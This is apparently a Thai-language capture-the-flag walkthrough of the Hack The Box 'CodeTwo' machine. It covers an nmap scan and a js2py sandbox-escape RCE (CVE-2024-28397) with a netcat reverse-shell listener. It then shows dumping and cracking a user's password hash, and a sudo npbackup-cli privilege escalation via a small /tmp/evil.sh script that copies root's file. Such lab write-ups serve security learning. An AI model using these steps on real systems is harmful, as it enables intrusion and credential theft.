หลังจากกดเริ่มแล้วก็ใช้ nmap เพื่อ scan ดู port ทั้งหมดที่เครื่องนี้เปิดอยู่
┌──(kali㉿kali)-[~/Downloads/HTB/CodeTwo]
└─$ nmap -sV -T5 -p- 10.10.11.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 16:01 +07
Nmap scan report for 10.10.11.82
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Gunicorn 20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.31 seconds
จะเห็นว่าเปิดอยู่ 2 port ด้วยกันคือ port 22 กับ 8000 ซึ่ง port 8000 เป็น service http เลยเข้าไปที่ url http://10.10.11.82:8000/

จะเห็นว่าจะมีปุ่ม register, login และ Download app ผมเริ่มจากกด download app เพื่อมาดู source code ก่อน

เจอไฟล์ requirements.txt ลองเข้าไปเช็คดูว่ามันได้มีการใช้ library หรือ packet ที่มีช่องโหว่รึป่าว

จะมีอยู่ library นึงที่น่าสงสัย เลยลองเอาชื่อและ version ไป search หาช่องโหว่ใน google ดู

CVE-2024-28397 เป็นช่องโหว่ Remote Code Execution (RCE) ในไลบรารี js2py ของ Python ซึ่งเกิดจากฟังก์ชัน disable_pyimport() ที่ออกแบบมาเพื่อป้องกันไม่ให้โค้ด JavaScript เรียกใช้ Python modules ได้ แต่กลับ ป้องกันไม่สมบูรณ์ ทำให้ผู้โจมตีสามารถเขียน payload พิเศษเพื่อ หลุดออกจาก sandbox และรันคำสั่ง Python/ระบบได้ ส่งผลให้รันโค้ดอันตรายบนเครื่องที่ใช้ js2py ได้
แล้วก็เจอจริงๆซึ่งมันคือช่องโหว่ที่เราสามารถทำ RCE ได้ ให้ไปโหลด code exploit จาก github โดยในเครื่องเราให้เปิด port รอไว้ให้เครื่องเหยื่อ connect กลับเข้ามา
┌──(kali㉿kali)-[~/Downloads/HTB/CodeTwo]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
ในอีกแท็ปนึงให้ run exploit โดยใส่ parameter ให้ครบ
โดยตรง /run_code ให้ใส่ api end point ที่ execute ในส่วนที่เรียกใช้ js2py ซึ่งเราสามารถดูได้จาก source code ที่โจทย์ให้มา

หลังจากรัน exploit เสร็จเราก็จะเข้าไปที่เครื่อง server ของเหยื่อได้แล้ว

จากนั้นเราจะไปเจอ users.db ที่ path /home/app/app/instance ก็ให้ทำการ deploy มาที่เครื่องเราและทำการเปิดไฟล์ users.db ขึ้นมา
จะเห็นว่ามี table user อยู่เลย select * เพื่อดู user ทั้งหมด
จะเห็นรหัสผ่านของ user marco ที่ถูกเข้ารหัสไว้อยู่ ทำการก็อปรหัสไป crack ในเว็บไซต์ CrackStation
หลังจากได้ password ของ marco มาแล้วก็ ssh เข้าไปด้วย user marco และ password ที่ crack ได้เมื่อกี้
ได้ user flag แล้ววววว ต่อไปก็ต้องหาวิธียกสิทธิ์เป็น root โดยเริ่มจากคำสั่ง sudo -l เพื่อดูว่า user นี้สามารถรัน service หรือ tools ไหนด้วยสิทธิ์ root ได้บ้าง
ลองดูเนื้อหาข้างในไฟล์ /usr/local/bin/npbackup-cli ว่ามันคืออะไร
ผมก็โยนโค้ดนี้ให้ chat เพื่อวิเคราะห์หาช่องโหว่
ตามนั้นเลยครับ 😅 หลักๆก็คือผมจะไปสร้างไฟล์ exploit ไว้ที่ path /tmp/evil.sh ก่อนโดยเนื้อหาในไฟล์ exploit ก็คือจะทำการไปก็อปไฟล์ root.txt จาก /root มาไว้ที่ path /tmp และทำการให้สิทธิ์ในการ read กับทุก user โดยเนื้อหาข้างในไฟล์ exploit มีตามนี้
#!/bin/sh
cp /root/root.txt /tmp/root.txt
chmod 644 /tmp/root.txt
หลังจากนั้นก็ให้สิทธิ์ในการ execute โดยใช้คำสั่ง
chmod +x evil.sh
ขั้นตอนต่อไปก็คือการรันคำสั่ง sudo npbackup-cli เพื่อให้โค้ด exploit เราทำงานด้วยสิทธิ์ root โดยการจะรันตัว npbackup-cli ได้ต้องมีการใส่ parameter -c ตามด้วยไฟล์ config ซึ่งถ้าสังเกตุดูมันจะมีไฟล์ config อยู่ที่ path /home/marco
ได้ root flag แล้ววววววว🥳
ก็จบไปแล้วนะครับสำหรับข้อ CodeTwo ข้อนี้คือพี่ chat ช่วยผมไว้แบบสุดๆ 😂 ถ้าผิดพลาดตรงไหนหรือเขียนข้ามๆวนๆก็ต้องขออภัยมา ณ ทีนี้ด้วยครับ 🤓
